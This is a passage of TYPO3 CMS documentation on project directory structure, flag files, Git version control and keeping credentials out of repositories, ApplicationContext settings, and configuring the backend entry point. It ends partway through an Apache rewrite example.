If your host does not support SSH directly into the container you can run a container that allows you to edit files like filebrowser/filebrowser or run a one-time container job to adjust the settings like linawolf/typo3-nexaa-reverse-proxy-copier to override the config/system/additional.php. This container is designed to copy reverse proxy settings into a live system and should be used with caution.

Directory structure of a typical TYPO3 project

The typical directory structure of a TYPO3 installation differs fundamentally between Composer mode and Classic mode. It can also vary depending on the TYPO3 version. Use the version switch to select the correct documentation version.

This structural difference remains even when deploying TYPO3 to a production server without Composer, and without deploying composer.json or composer.lock. To make matters more confusing, the presence of these files does not guarantee that TYPO3 is running in Composer mode.

The TYPO3 backend Extension Manager with message "Composer mode: The system is set to composer mode. Please notice that this list is for informational purpose only. To modify which extensions are part of the system, use Composer. To set extensions up, use the TYPO3 cli (extension:setup)"

This info box in the Extension Manager confirms the installation is running in Composer mode.

Table of contents

Directories in a typical Composer mode TYPO3 project

The overview below describes the directory structure of a typical Composer-based TYPO3 installation.

Also see the chapter Environment for details on how to retrieve paths in PHP code.

config/

TYPO3 configuration directory. This directory contains folder config/system/ for installation-wide configuration and config/sites/ for the site configuration and Site settings.

config/sites/

The folder config/sites/ contains subfolders, one for each site in the installation. See chapter The site folder config/sites/ / typo3conf/sites/.

config/system/

The folder config/system/ contains the installation-wide configuration files:

These files define a set of global settings stored in a global array called $GLOBALS['TYPO3_CONF_VARS'].

This path can be retrieved from the Environment API, see getConfigPath().

packages/

If you installed TYPO3 using the base distribution composer create "typo3/cms-base-distribution" this folder is automatically created and registered as repository in the the composer.json.

You can put your site package and other extensions to be installed locally here. Then you can just install the extension with composer install myvendor/my-sitepackage.

If you did not use the base-distribution, create the directory and add it to your repositories manually:

composer.json (diff)
 {
    "name": "myvendor/my-project",
    "repositories": [
+       {
+           "type": "path",
+           "url": "packages/*"
        }
    ],
    "...": "..."
 }
Copied!

public/

This folder contains all files that are publicly available. Your webserver's web root must point here.

This folder contains the main entry script index.php created by Composer and might contain publicly available files like a robots.txt and files needed for the server configuration like a .htaccess.

If required, this directory can be renamed by setting extra > typo3/cms > web-dir in the composer.json, for example to web:

composer.json
{
    "extra": {
        "typo3/cms": {
            "web-dir": "web"
        }
    },
    "...": "..."
}
Copied!

This directory contains the following subdirectories:

public/_assets/

This directory includes symlinks to resources of extensions (stored in the Resources/Public/ folder), as consequence of this and further structure changes the folder typo3conf/ext/ is not created or used anymore. So all files like CSS, JavaScript, icons, fonts, images, etc. of extensions are not referenced anymore directly to the extension folders but to the directory _assets/.

public/fileadmin/

This is a directory in which editors store files. Typically images, PDFs or video files appear in this directory and/or its subdirectories.

Note this is only the default editor's file storage. This directory is handled via the FAL API internally, there may be further storage locations configured outside of fileadmin/, even pointing to different servers or using 3rd party digital asset management systems.

Depending on the configuration in $GLOBALS['TYPO3_CONF_VARS']['BE']['fileadminDir'] another folder name than fileadmin/ can be in use.

public/typo3/

If typo3/cms-install is installed, this directory contains the PHP file for accessing the install tool (public/typo3/install.php).

Changed in version 14.0

The TYPO3 backend entry point PHP file public/typo3/index.php has been removed. The backend can be accessed via the Backend entry point.

public/typo3temp/

Directory for temporary files. It contains subdirectories (see below) for temporary files of extensions and TYPO3 components.

public/typo3temp/assets/

The directory typo3temp/assets/ contains temporary files that should be public available. This includes generated images and compressed CSS and JavaScript files.

var/

Directory for temporary files that contains private files (e.g. cache and logs files) and should not be publicly available.

var/cache/

This directory contains internal files needed for the cache.

var/labels/

The directory var/labels/ is for extension localizations. It contains all downloaded translation files.

This path can be retrieved from the Environment API, see getLabelsPath().

var/log/

This directory contains log files like the TYPO3 log, the deprecations log and logs generated by extensions.

vendor/

In this directory, which lies outside of the webroot, all extensions (system, third-party and custom) are installed as Composer packages.

The directory contains folders for each required vendor and inside each vendor directory there is a folder with the different project names.

For example the system extension core has the complete package name typo3/cms-core and will therefore be installed into the directory vendor/typo3/cms-core. The extension news, package name georgringer/news will be installed into the folder vendor/georgringer/news.

Never put or symlink your extensions manually into this directory as it is managed by Composer and any manual changes are getting lost, for example on deployment. Local extensions and sitepackages should be kept in a separate folder outside the web root, for example packages. Upon installation , Composer creates a symlink from packages to vendor/myvendor/my-extension.

Classic mode installations: Directory structure

The structure below describes the directory layout of a Classic TYPO3 installation (without Composer), sometimes also called a legacy installation.

The TYPO3 backend Extension Manager in Classic Mode: Buttons "Upload Extension" and "Deactivate" for some extensions are visible

If the "Upload Extension" button is visible, TYPO3 is running in Classic mode.

Files on the root level of a typical Classic mode project

The project folder, usually at /path/to/your/webroot/, must contain index.php. It may also include server config files like .htaccess.

Additional files that should be available at the root of you web site like robots.txt can be placed here in single site installations.

In multi-site installations you should use Static routes in the site configuration to provide individualized files for each site.

Directories in a typical Classic mode project

fileadmin/

This is a directory in which editors store files. It is used for the same files like public/fileadmin/ in the Composer-based directory structure.

typo3/

Among others, this directory contains the PHP file for accessing the install tool (public/typo3/install.php).

Changed in version 14.0

The TYPO3 backend entry point PHP file typo3/index.php has been removed. The backend can be accessed via the Backend entry point.

typo3/sysext/

All system extensions, supplied by the TYPO3 Core, are stored here.

typo3_src/

It is a common practice in Classic mode installations to use symlinks to quickly change between TYPO3 Core versions. In many installations you will find a symlink or folder called typo3_src that contains the folders typo3/, and vendor/ and the file index.php. In this case, those directories and files only symlink to typo3_src. This way the Core can be updated quickly by changing the symlink.

Assuming your webroot is a directory called public you could have the following symlink structure:

  • typo3_src-12.0.0

    • typo3
    • vendor
    • index.php
  • public

    • fileadmin
    • typo3 -> typo3_src/typo3
    • typo3_src -> ../typo3_src-12.0.0
    • typo3conf
    • typo3temp
    • vendor -> typo3_src/vendor
    • index.php -> typo3_src/index.php

typo3conf/

This path can be retrieved from the Environment API, see getConfigPath().

typo3conf/autoload/

Contains autoloading information. The files are updated each time an extension is installed via the Extension Manager.

typo3conf/ext/

Directory for third-party and custom TYPO3 extensions. Each subdirectory contains one extension. The name of each directory must be the extension key or the extension will not be loaded directly. You can put or symlink custom extensions and sitepackages here.

See extension files locations for more information on how the extensions are structured.

typo3conf/l10n/

Directory for extension localizations. Contains all downloaded translation files.

This path can be retrieved from the Environment API, see getLabelsPath().

typo3conf/sites/

The folder typo3conf/sites/ contains subfolders, one for each site in the installation. See chapter The site folder config/sites/ / typo3conf/sites/.

typo3conf/system/

The folder typo3conf/system/ contains the installation-wide configuration files:

These files define a set of global settings stored in a global array called $GLOBALS['TYPO3_CONF_VARS'].

This path can be retrieved from the Environment API, see getConfigPath().

typo3temp/

Directory for temporary files. It contains subdirectories (see below) for temporary files of extensions and TYPO3 components.

typo3temp/assets/

Directory for temporary files that should be publicly available (e.g. generated images).

typo3temp/var/

Directory for temporary files that should not be accessed through the web (cache, log, etc).

vendor/

This directory contains third-party packages that are required by the TYPO3 Core.

Flag files (ENABLE_INSTALL_TOOL, LOCK_BACKEND, ...)

TYPO3 uses a set of special files known as flag files or indicator files to control and manage low-level configurations, behaviors, and security settings of the system. These files act as triggers that enable or disable specific features or functionalities in TYPO3, often without requiring direct modifications to the core configuration files.

Flag files are typically placed in specific locations within the TYPO3 file system and are usually named in a way that reflects their purpose.

Below is a list of commonly used TYPO3 flag files, along with explanations of their functions and typical use cases.

var/lock/LOCK_BACKEND

LOCK_BACKEND
Path (Composer)
var/lock/LOCK_BACKEND
Path (Classic)
config/LOCK_BACKEND
Configuration

$GLOBALS['TYPO3_CONF_VARS']['BE']['lockBackendFile']

Command

vendor/bin/typo3 backend:lock, vendor/bin/typo3 backend:unlock

Changed in version 13.3

The LOCK_BACKEND file is now expected in var/lock/LOCK_BACKEND (Composer mode) or config/LOCK_BACKEND (Classic mode) unless otherwise defined in $GLOBALS['TYPO3_CONF_VARS']['BE']['lockBackendFile'] .

If the file exists in the location specified by $GLOBALS['TYPO3_CONF_VARS']['BE']['lockBackendFile'] or the default and is empty, an error message is displayed when you try to log into the backend:

Console commands to lock/unlock the backend
# Lock the TYPO3 Backend for everyone including administrators
vendor/bin/typo3 backend:lock

# Unlock the TYPO3 Backend after it has been locked
vendor/bin/typo3 backend:unlock
Copied!

This file locks access to the TYPO3 backend. When present, it prevents users from logging into the backend, often used during maintenance or for security reasons.

If the file contains an URI, users will be forwarded to that URI when they try to lock into the backend.

If you want locked backend state to persist between deployments, ensure that the used directory (var/lock by default) is shared between deployment releases.

The backend locking functionality is now contained in a distinct service class \TYPO3\CMS\Backend\Authentication\BackendLocker to allow future flexibility.

Use Case: Temporarily restrict backend access to prevent unauthorized changes or when performing critical updates.

public/FIRST_INSTALL

FIRST_INSTALL
Path (Composer)
public/FIRST_INSTALL
Path (Classic)
<webroot>/FIRST_INSTALL
Command

vendor/bin/typo3 setup

This file initiates the TYPO3 installation process. If the file exists, TYPO3 directs the user to the installation wizard.

Use Case: Automatically initiate the installation process on a fresh TYPO3 setup.

See also: Installing TYPO3.

There is also a console command available to do the first installation:

Console command for first install
# Lock the TYPO3 Backend for everyone including administrators
vendor/bin/typo3 setup
Copied!

config/ENABLE_INSTALL_TOOL

ENABLE_INSTALL_TOOL
Path (Composer)
config/ENABLE_INSTALL_TOOL
Path (Classic)
typo3conf/ENABLE_INSTALL_TOOL
Command

None

Changed in version 12.2

The location of this file has been changed for Composer-based installations from typo3conf/ENABLE_INSTALL_TOOL to config/ENABLE_INSTALL_TOOL or var/transient/ENABLE_INSTALL_TOOL

When this file is set, it allows access to the TYPO3 Install Tool. See also The ENABLE_INSTALL_TOOL file.

  • var/transient/ENABLE_INSTALL_TOOL
  • config/ENABLE_INSTALL_TOOL
  • typo3temp/var/transient/ENABLE_INSTALL_TOOL
  • typo3conf/ENABLE_INSTALL_TOOL

This file unlocks the Install Tool, allowing access for configuration and maintenance tasks.

Use Case: Temporarily enable the Install Tool for performing system configurations or updates, then remove the file to re-secure the tool.

If you are working with the helhum/typo3-console there are also console commands available to enable or disable the install tool:

The site folder config/sites/ / typo3conf/sites/

The site folder (config/sites/my-site in Composer-based installations, typo3conf/sites/my-site in Classic mode installations) must contain the following file:

config/sites/my-site/config.yaml

config.yaml
Scope
site
Path (Composer)
config/sites/my-site/config.yaml
Path (Classic)
typo3conf/sites/my-site/config.yaml

Contains the site configuration. See chapter Site handling for details.

The file is automatically created if you use the Site Management > Sites module to create a new site configuration.

The name of the folder is editable as Site Identifier in the site configuration form.

Site settings settings.yaml in the site folder

config/sites/my-site/settings.yaml

settings.yaml
Scope
site
Path (Composer)
config/sites/my-site/settings.yaml
Path (Classic)
typo3conf/sites/my-site/settings.yaml

This file stores all changes that where made to the site settings using the backend module Site Management > Settings. It overrides the settings from all included site sets, including the set of the site package.

The site as frontend TypoScript provider

If the site should be used as TypoScript provider (see Site as a TypoScript provider) it can contain the following files:

config/sites/my-site/constants.typoscript

constants.typoscript
Scope
site
Path (Composer)
config/sites/my-site/constants.typoscript
Path (Classic)
typo3conf/sites/my-site/constants.typoscript

Contains the TypoScript constants of a site.

config/sites/my-site/setup.typoscript

setup.typoscript
Scope
site
Path (Composer)
config/sites/my-site/setup.typoscript
Path (Classic)
typo3conf/sites/my-site/setup.typoscript

Contains the TypoScript setup of a site.

Page TSconfig in the site folder

config/sites/my-site/page.tsconfig

page.tsconfig
Scope
site
Path (Composer)
config/sites/my-site/page.tsconfig
Path (Classic)
typo3conf/sites/my-site/page.tsconfig

Page TSconfig in this file is automatically loaded within the site scope. See also Page TSconfig on site level.

Additional configuration files in the site folder

The site folder may also contain the following file:

config/sites/my-site/csp.yaml

csp.yaml
Scope
site
Path (Composer)
config/sites/my-site/csp.yaml
Path (Classic)
typo3conf/sites/my-site/csp.yaml

Version control of TYPO3 projects with Git

Using Git for version control in TYPO3 projects helps ensure consistent collaboration, transparent change tracking, and safer deployments. It allows teams to keep a complete history of changes, isolate new features, and revert to a known state when needed.

Even if you are working alone — as a freelancer or solo developer — Git is highly valuable. It acts as a time machine for your project, allowing you to:

  • Experiment with confidence by branching and reverting
  • Document and understand your progress over time
  • Sync work between devices or back it up to the cloud
  • Undo mistakes and recover lost files easily
  • Share code with clients, agencies, or collaborators when needed

Whether you are building a quick prototype or maintaining a long-term client project, version control with Git adds safety, flexibility, and professionalism to your workflow.

Quick Start: Add a new TYPO3 project to Git

This step-by-step guide explains how to add a new or existing TYPO3 project to a Git repository. It includes instructions for safely setting up a .gitignore and avoiding the accidental inclusion of credentials or environment-specific files.

Make sure, you meet the prerequisites to use Git.

Initialize the new Git repository in the root directory of your project:

git init
Copied!

Depending on your installation method, some files differ. Use the relevant tab below to identify what to include in version control.

  1. Create or review your .gitignore

    Make sure it includes:

    • .env
    • auth.json
    • /public/index.php
    • /public/_assets/
    • /public/fileadmin/
    • /public/typo3/
    • /public/typo3temp/
    • /var/
    • /vendor/
  2. Double-check for credentials and secrets

    Do not commit passwords or API keys in:

    See Avoid committing credentials to Git.

  3. Add the relevant project files

    git add .gitignore
    git add composer.json composer.lock
    git add config/
    git add packages/
    git add public/.htaccess public/robots.txt
    Copied!

    See also: Which TYPO3 directories and files should be kept under version control.

  1. Create a .gitignore

    Use the example in Example .gitignore.

    Typical exclusions:

    • typo3temp/
    • typo3_src/
    • fileadmin/
    • .env
  2. Check for credentials

    Do not commit passwords or API keys in:

    See Avoid committing credentials to Git.

  3. Add the selected project files

    git add .gitignore
    git add typo3conf/ext/my_sitepackage
    git add typo3conf/ext/my_custom_extension
    git add .htaccess
    git add robots.txt
    Copied!

    See also: Which TYPO3 directories and files should be kept under version control.

The following steps apply to all TYPO3 projects, no matter the installation type:

Make your initial commit, this adds the files to your local Git:

git commit -m "Initial commit: My TYPO3 project"
Copied!

Use Git status to see if there are untracked files that are not added to the Git:

git status
Copied!

If you are using a Git hosting platforms (GitHub, GitLab, ...) you can create a remote repository on that plattform. Then add the Git SSH remote and push your changes to that repository.

git remote add origin git@example.com:user/project.git
git push -u origin main
Copied!

Prerequisites to use Git

First test if Git is installed on your computer:

Open your terminal and run:

git --version
Copied!

If you see a message like command not found, you need to install Git.

If Git is missing, follow the installation guide for your system:

macOS: Install via Homebrew: brew install git

Linux: Use your package manager, for example sudo apt install git

Open PowerShell or Command Prompt and run:

git --version
Copied!

If you get an error like 'git' is not recognized, you need to install Git.

If you want to use Git across multiple computers (e.g., your laptop and a web server), or collaborate with a team, you should choose a Git hosting platform (GitHub, GitLab, ...) and create an account there.

To connect to the remote repository via SSH, you need to authenticate with your hosting provider — typically by creating and registering an SSH key.

See for example:

You can also choose to use Git through an IDE or graphical client. Popular options include:

  • PhpStorm – Full Git integration with staging, history, merge tools, and more
  • Visual Studio Code – Git support with useful extensions
  • GitKraken, Tower, GitHub Desktop – Standalone Git GUIs

To learn more about Git and how it works, see the official Git documentation:

Git hosting platforms (GitHub, GitLab, ...)

A Git hosting platform is a service that stores your Git repositories remotely and allows collaboration with others. It also provides tools such as web interfaces, access control, issue tracking, continuous integration (CI), and backups.

Using a hosting platform is recommended even for solo projects, as it makes it easier to:

  • Share your code with others (team members, clients, ...)
  • Back up your work to the cloud
  • Track issues, bugs, and tasks
  • Set up CI/CD pipelines for automated testing and deployment

All Git hosting platforms are supported. The following are commonly used:

  • GitHub – Popular for open-source and private projects
  • GitLab – Offers CI/CD and self-hosting options
  • Bitbucket – Integrates with Atlassian tools
  • Gitea – Lightweight, open-source, self-hosted platform
  • Codeberg – Free and open-source Git hosting
  • Gerrit – Git server with built-in code review workflow; used by the TYPO3 Core team

Which TYPO3 directories and files should be kept under version control

Directories and files to always commit

  • .gitignore
  • typo3conf/sitesSite handling
  • typo3conf/system/settings.phpSystem configuration files
  • typo3conf/ext/my_sitepackage – Custom site packages
  • typo3conf/ext/my_custom_extension – Custom extensions

Optional to Commit

Depending on project needs, you may include:

  • Docker and CI/CD config – .gitlab-ci.yml, docker-compose.yml, ...
  • Files needed for testing like .php-cs-fixer.dist.php, phpstan.neon, runTests.sh etc.
  • Build folders containing sources for asset building like scss sources, typescript sources, etc. never commit node_modules, these files are managed by gulp or vite.
  • Files used during local development like .editorconfig, Makefile and ddev/config.yaml

Additional files may be versioned depending on your project requirements and installation method:

  • config/system/additional.php – Depending on how this file should be managed to override server settings.
  • public/.htaccess
  • public/robots.txt
  • typo3conf/system/additional.php – Depending on how this file should be managed to override server settings.
  • .htaccess
  • robots.txt

Information on which versions exactly have been installed - or:

  • index.php
  • typo3conf/ext/ – All installed extensions (So the project can be fully restored from the Git repository without needing external packages or configuration.)
  • typo3conf/l10n/ – If you also want to keep automatic localizations under version control
  • typo3conf/PackageStates.php – To determine which of the loaded extensions are installed
  • typo3/sysext/ – The TYPO3 Core (So a project can be rebuild in from the Git alone)
  • typo3/install.php

Directories and files to never commit

  • public/fileadmin/ – User-uploaded files, these are managed by File abstraction layer (FAL)
  • public/typo3temp/ – Temporary cache files
  • var/ – Cache, sessions, and lock files, managed by TYPO3
  • vendor/ – Managed by Composer
  • .env – Environment-specific variables and secrets
  • fileadmin/ – User-uploaded files, these are managed by File abstraction layer (FAL)
  • typo3temp/ – Temporary cache files, sessions, and lock files, managed by TYPO3

Example .gitignore

A .gitignore file tells Git which files and folders to ignore when committing to the repository. This helps prevent unnecessary or sensitive files (like cache, uploads, or environment configs) from being tracked.

The .gitignore file should be placed in the root directory of your TYPO3 project (usually alongside composer.json or typo3conf/). Its contents can vary depending on whether you use a Composer-based setup or a classic (non-Composer) structure.

For more on how .gitignore works, see the official Git documentation: https://git-scm.com/docs/gitignore

For Composer-based projects, you can use the .gitignore from the official GitLab TYPO3 Project Template as a solid starting point.

project_root/.gitignore
# TYPO3 system folders
/var/
/vendor/
/public/typo3temp/
/public/uploads/
/public/fileadmin/

# Environment and secrets
.env

# Node.js build tools
/node_modules/
/dist/

# IDE and editor settings
.idea/
.vscode/
*.swp

# OS metadata
.DS_Store
Thumbs.db
Copied!
project_root/.gitignore
# TYPO3 Core and source directory
/typo3_src/

# Temporary files and caches
/typo3temp/
/fileadmin/

# IDE/editor folders
/.idea/
/.vscode/
*.swp

# OS-specific files
.DS_Store
Thumbs.db
ehthumbs.db
Desktop.ini

# Node.js or frontend build artifacts (if used)
/node_modules/
/dist/
/build/

# Environment
.env
Copied!

Avoid committing credentials to Git

Examples of files that often contain secrets:

  • .env – Environment-specific variables
  • auth.json – Composer credentials
  • config/system/settings.php – TYPO3 system-level configuration; may include database credentials, encryption key, install tool password, and global extension settings.
  • config/system/additional.php TYPO3 system-level configuration overrides
  • config/sites/some_site/config.yaml Solr credentials, credentials from other third party extension not using settings yet.
  • config/sites/some_site/settings.yaml – Site-level configuration for individual extensions (for example CRM, analytics, etc.); can contain site-specific tokens or secrets.

Best practices to avoid accidentally committing credentials

  • Add secret files to your .gitignore before running git add
  • Use environment variables instead of hardcoded credentials
  • Split config files: version the structure (e.g., settings.php) but load secrets from untracked overrides (for example credentials.php)
  • Use .env.example to document required environment variables, and keep the real .env excluded
  • You can also use an extension like helhum/dotenv-connector to manage secrets via environment variables.

Credentials in the settings.php or additional.php

For example, you could keep all credentials in a file called config/system/credentials.php and include this file into your config/system/additional.php if present:

project_root/config/system/additional.php
<?php

defined('TYPO3') || die();

// Other settings

$file = realpath(__DIR__) . '/credentials.php';
if (is_file($file)) {
    include_once($file);
    $GLOBALS['TYPO3_CONF_VARS'] = array_replace_recursive($GLOBALS['TYPO3_CONF_VARS'], $customChanges);
}
Copied!
config/system/credentials.php (Add to .gitignore, Do not commit to Git!!!)
<?php

defined('TYPO3') or die();
$customChanges = [
    'BE' => [
        'installToolPassword' => 'secret',
    ],
    'DB' => [
        'Connections' => [
            'Default' => [
                'password' => 'secret',
            ],
        ],
    ],
    'EXTENSIONS' => [
        't3monitoring_client' => [
            'secret' => 'secret',
        ],
    ],
    'SYS' => [
        'encryptionKey' => 'also secret',
    ],
];
Copied!

Credentials in the site configuration or settings

It is also possible that the site configuration Site setting files contain credentials (for example Solr credentials). You can use environment variables directly in YAML files:

project_root/config/sites/example/config.yaml
base: 'https://www.example.org/'

# ...

solr_host_read: '%env("SOLR_USER")%'
solr_password_read: '%env("SOLR_PASSWORD")%'
Copied!
project_root/.env (Add to .gitignore, Do not commit to Git!!!)
SOLR_USER=my-solr-user
SOLR_PASSWORD=secret
Copied!

If you accidentally committed credentials

  1. Change them immediately (reset API tokens or database passwords)
  2. Remove the file from Git history:

    git rm --cached .env
    echo ".env" >> .gitignore
    git commit -m "Remove .env and ignore it"
    Copied!
  3. If pushed to a public repo, consider using tools like BFG Repo-Cleaner or git filter-repo to fully remove secrets from history.

Application Context

In outdated TYPO3 versions, error messages were displayed unfiltered in the frontend and often revealed security-relevant data such as database access, e-mail addresses, SMTP access and similar to the public. The so-called ApplicationContext was introduced to prevent this. These contexts can pre-configure TYPO3 to a certain extent and can also be queried again at various points such as the site configuration, e.g. to provoke a different base variants.

TYPO3 is delivered with 3 different modes, which affect the behaviour of TYPO3 as follows:

  • Production

    • Only errors are logged.
    • There is no logging of obsolete (deprecated) function calls.
    • In the event of an error, the frontend only displays: Oops, an error occurred! Code: {code}.
    • The Dependency injection cache can not be cleared by Clear All Cache button, and has to be emptied using the Flush Cache button in the install tool or via CLI command cache:flush.
    • Calling up the install tool menu items requires the additional entry of a password ("sudo mode").
    • Only admins with system maintainer authorisation can see the install tool menu items in the TYPO3 backend.
    • This mode offers the most performance and is most secure.
  • Development

    • Errors and warnings are logged.
    • Obsolete (deprecated) function calls are logged in an additional log file.
    • The error appears in the frontend with a note on where and in which file it occurred.
    • In the backend, the corresponding table field is also displayed in square brackets after each label when editing data records.
    • The Clear All Cache button at the top right also clears the Dependency injection cache.
    • The menu items in the backend for the install tool no longer require an additional password entry.
    • Admins without system maintainer authorisation can also see the menu items for the install tool.
  • Testing

    • In this special mode, caching for Class Loading is switched off or is only valid for one request.

Default ApplicationContext

In the \TYPO3\CMS\Core\Core\SystemEnvironmentBuilder , TYPO3 reads different environment variables to determine the desired ApplicationContext. The following order applies from high priority to no priority:

  • Environment variable: TYPO3_CONTEXT
  • Environment variable: REDIRECT_TYPO3_CONTEXT
  • Environment variable: HTTP_TYPO3_CONTEXT
  • ApplicationContext is set to Production

Set the ApplicationContext

The ApplicationContext is read very early in TYPO3. Even before the actual TYPO3 bootstrap process. This means that even if you set the ApplicationContext in additional.php (formerly AdditionalConfiguration.php), it is already too late.

It is best to set the ApplicationContext as an environment variable in the server configuration. Alternatively, you need a solution to set the environment variable at PHP level before the actual TYPO3 call.

Apache

In the vhost configuration as well as in the .htaccess, the ApplicationContext can be set as follows:

[web root]/.htaccess
SetEnv TYPO3_CONTEXT Development
Copied!

Nginx

/etc/nginx/nginx.conf
fastcgi_param TYPO3_CONTEXT Development;
Copied!

.env (Composer only)

It is possible to import .env files into the root directory of your project. All contained values are then made available as environment variables. The basis for this is the Symfony .env loader symfony/dotenv . However, this package requires a few method calls for initialisation. You can either build this yourself or use the HelHum .env connector helhum/dotenv-connector . This will initialise the Symfony package for you.

Installation

composer req helhum/dotenv-connector
Copied!

.env

Please make sure not to insert any spaces before and after the =

[web root]/.env
TYPO3_CONTEXT=Development/Dev1
Copied!

AutoLoader (Composer only)

If your TYPO3 was set up using Composer, you can misuse the Composer files property to load a specific file with each request before all other files.

{
    'autoload': {
        'files': ['Source/Scripts/ApplicationContext.php']
    }
}
Copied!
<?php
putenv('TYPO3_CONTEXT=Development');
Copied!

php.ini

In php.ini there is the option of always loading a specific file first for each request. The property is auto_prepend_file <https://www.php.net/manual/en/ini.core.php#ini.auto-prepend-file>. Enter the absolute path to a php file with the following content in your hosting package.

<?php
putenv('TYPO3_CONTEXT=Development');
Copied!

index.php

Please use this version as a last resort if none of the previous versions have worked or if your hoster has restricted you enormously. This solution only works for the frontend. This means that the ApplicationContext displayed in the TYPO3 backend may differ from the ApplicationContext actually used in the frontend.

Create your own index.php in the document root directory and then load the actual index.php from there.

<?php
putenv('TYPO3_CONTEXT=Development');
require_once('typo3_src/index.php')
Copied!

Sub ApplicationContext

The ApplicationContext can be subdivided further using /. Here are a few examples:

  • Development/Dev1
  • Development/Local/Ddev
  • Testing/UnitTest
  • Production/1und1

You can use this subdivision to realise different acceptance domains for customers. Using the option of composer files described above, you can create a file to set the ApplicationContext individually depending on the domain name. In the site configuration, you can query the ApplicationContext again and use it to set a different base URI using the base variants:

  • Development/Dev1 -> dev1.example.com
  • Development/Dev2 -> dev2.example.com
  • Development/Dev3 -> dev3.example.com
  • Development/Dev4 -> dev4.example.com
  • Development/Dev5 -> dev5.example.com

Root ApplicationContext

It doesn't matter whether you are working with just one ApplicationContext or with an ApplicationContext divided several times by a slash (/). The first part is always the root ApplicationContext and must always be either Production, Development or Testing, otherwise the isProduction, isDevelopment and isTesting methods will not work.

Parent ApplicationContext

This section only applies if you have divided the ApplicationContext into several sections using slashes (/). The entire remaining value after the first slash is used to instantiate a new ApplicationContext. The so-called parent ApplicationContext. Here you can see how the context is nested:

  • ApplicationContext: Development/Local/Ddev/Dev2

    • Root ApplicationContext: Development
    • Parent ApplicationContext: Local/Ddev/Dev2

      • Root ApplicationContext: Local
      • Parent ApplicationContext: Ddev/Dev2

        • Root ApplicationContext: Ddev
        • Parent ApplicationContext: Dev2

As written above the root ApplicationContext must always be one of the 3 values: Production, Development or Testing. With the 2nd nesting at the latest, the root ApplicationContext here is now Local and with the 3rd nesting Ddev. There is no way to query this root ApplicationContext in the PHP class ApplicationContext! You only have the option of using getParent() to access the next parent ApplicationContext and using (string)getParent() to return the complete ApplicationContext as a string. This means that Local/Ddev/Dev2 is returned at level 2 and Ddev/Dev2 at level 3.

Reading the ApplicationContext

TYPO3 itself already queries the ApplicationContext in various places, but you can also react to the ApplicationContext in various places.

PHP

Here are a few examples of how to access the ApplicationContext with the Environment class:

EXT:my_extension/Classes/ApplicationContext/SunnyProducts.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes\ApplicationContext;

use TYPO3\CMS\Core\Core\Environment;

class SunnyProducts
{
    public function getDiscount(): int
    {
        if (Environment::getContext()->isDevelopment()) {
            return 20;
        }

        return 4;
    }
}
Copied!

Site configuration

In the "baseVariants" section of the site configuration, the condition property, which specifies under what circumstances a variant applies, is exclusively available for the baseVariant configuration. For example, in the provided code, the baseVariant hosted at 'https://dev-1.example.com/' is used when the 'applicationContext == "Development/Dev1"' condition is fulfilled.

baseVariants:
-
  base: 'https://dev-1.example.com/'
  condition: 'applicationContext == "Development/Dev1"'
Copied!

TypoScript

if {
   value.data = applicationcontext
   equals = Development/Dev1
}
Copied!
[applicationContext == "Development/Dev1"]
page.10.wrap = <div style="border: 3px red solid;">|</div>
[END]
Copied!

Configuration presets

As mentioned at the beginning, the ApplicationContext affects certain TYPO3 settings. Let's take a closer look at the presets from EXT:install Classes/Configuration/Context/*:

  • LivePreset with priority 50
  • DebugPreset with priority 50
  • CustomPreset with priority 10

As you can see, the LivePreset and the DebugPreset have the same priority. So which one wins? It depends on the ApplicationContext that is set. If the Production ApplicationContext is set, then the LivePreset gets 20 points more priority. If the Development ApplicationContext is set, then the DebugPreset gets 20 more priority points.

In each of the 3 files you can see which TYPO3 configuration is to be overwritten at runtime and how. To clarify: Setting the ApplicationContext changes the TYPO3 configuration at runtime. It does not actively change the settings.php or additional.php!

Backend entry point


New in version 13.0

Before TYPO3 v13 the backend entry point path for accessing the backend has always been /typo3. Since TYPO3 v13 the backend entry point can be adjusted to something else. See Configuration and Migration.

Changed in version 14.0

The legacy entry point /typo3/index.php is no longer needed and has been removed.

The TYPO3 backend URL is configurable in order to enable optional protection against application administrator interface infrastructure enumeration (WSTG-CONF-05). Both frontend and backend requests are handled by the PHP script /index.php to enable virtual administrator interface URLs.

The default TYPO3 backend entry point path /typo3 can be changed by specifying a custom URL path or domain name in $GLOBALS['TYPO3_CONF_VARS']['BE']['entryPoint'].

Adjusting the backend entry point does not take assets into account, only routing is adapted. That means Composer mode will use assets provided via _assets/ as before and TYPO3 Classic mode will serve backend assets from /typo3/* even if another backend URL is used and configured.

Configuration

The configuration can be done in the backend via Admin Tools > Settings > Configure Installation-Wide Options:

Configure the entry point via GUI

Configure the entry point via GUI

or manually in config/system/settings.php or config/system/additional.php.

Configure a specific path

config/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['entryPoint'] = '/my-specific-path';
Copied!

Now point your browser to https://example.org/my-specific-path to log into the TYPO3 backend.

Use a distinct subdomain

config/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['entryPoint'] = 'https://my-backend-subdomain.example.org';
$GLOBALS['TYPO3_CONF_VARS']['SYS']['cookieDomain'] = '.example.org';
Copied!

Now point your browser to https://my-backend-subdomain.example.org/ to log into the TYPO3 backend.

Note that the $GLOBALS['TYPO3_CONF_VARS']['SYS']['cookieDomain'] is necessary, so that backend users can preview website pages or use the admin panel.

Migration

A silent update is in place which automatically updates the webserver configuration file when accessing the install tool, at least for Apache (.htaccess) and Microsoft IIS (web.config) webservers.

If you use a custom web server configuration you may adapt as follows.

Apache configuration

It is most important to rewrite all typo3/* requests to /index.php, but also RewriteCond %{REQUEST_FILENAME} !-d should be removed in order for a request to /typo3/ to be directly served via /index.php instead of the removed entry point /typo3/index.php.

Apache configuration before:

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-l
RewriteRule ^typo3/(.*)$ %{ENV:CWD}typo3/index.php [QSA,L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-l
RewriteRule ^.*$ %{ENV:CWD}index.php [QSA,L]
Copied!

Apache configuration after:

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^typo3/(.*)$ %{ENV:CWD}index.php [QSA,L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-l
